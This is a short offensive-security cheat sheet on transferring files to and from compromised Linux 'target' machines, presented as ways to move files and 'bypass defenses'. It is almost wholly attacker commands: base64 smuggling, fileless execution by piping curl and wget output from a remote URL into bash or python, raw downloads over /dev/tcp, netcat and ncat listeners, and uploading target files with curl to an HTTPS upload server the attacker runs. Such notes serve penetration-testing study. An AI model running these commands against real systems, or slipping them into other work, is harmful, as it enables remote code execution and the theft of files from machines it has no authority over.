Linux - File Tranfer

Transferring files to or from Linux machines is crucial in various scenarios. Below are some methods for file transfer that could help to accomplish it and even bypass defenses:

Download to the system

  • Using base64 encoding

#On our machine
md5sum $file    #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line

#On the target machine
echo 'b64String' | base64 -d > $file
md5sum $file #Compare the hash to confirm the integrity of the file

  • From a web to the target system

wget https://$URL/$file -O /tmp/$outFile
curl -o /tmp/$outFile https://$URL/$file

  • Download and execute it directly in memory (fileless)

curl https://$URL/$file | bash
wget -qO- https://$URL/$pythonFile | python #Also can be done with Python

Download using installed programming languages in the target

  • Mount an HTTP server with any programming language and download contents from it

#On the target machine
python -m http.server $port
python2.7 -m SimpleHTTPServer $port
php -S 0.0.0.0:$port
ruby -run -ehttpd . -p$port

#On our machine
wget $TargetIP:$port/$file

Download from web server using the /dev/TCP device file

  • Use the built-in device file to connect to the server and download a file via a petition

exec 3<>/dev/tcp/$IP/$port
echo -e "GET /$pathToFile HTTP/1.1\n\n">&3
cat <&3 #Confirm checking the response

Download using SSH

  • Start the SSH service to transfer files

#On our machine
sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt #Check service port, by default 22

#On the target machine
scp $user@$IP:/$pathTofile ./

Upload to a web server

  • Use the uploadserver module to mount an upload server using HTTPS

#On our machine
pip3 install uploadserver
python3 -m uploadserver
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ./server.pem

#On the target system
curl -X POST https://$file/upload -F 'files=@$pathTofile' -F 'files=@$pathToFile2' --insecure

Upload using SSH

  • Use the SCP utility to upload files

scp $file $targetUser@$targetIP:$pathToDestinationFolder

Transfer using Netcat and Ncat

  • From our machine to the target creating a listener on the target

#On the target machine
nc -nvlp $port > $file   #Netcat
ncat -lp $port --recv-only > $file #Ncat

#On our machine
wget -q $fileURL #Download file
nc -q 0 $targetIP $port < $file #Netcat
ncat --send-only $targetIP $port < $file #Ncat

  • From our machine to the target connecting to our listener

#On our machine
sudo nc -nvlp 443 -q 0 < $file
sudo ncat -lp 443 --send-only < $file

#On the target machine
nc $ourIP 443 > $file
ncat $ourIP 443 --recv-only > $file

  • Using the /dev/tcp folder to receive the file

#On our machine
sudo nc -nvlp 443 -q 0 < $file
sudo ncat -lp 443 --send-only < $file

#On the target machine
cat < /dev/tcp/$ourIP/443 > $file

Last updated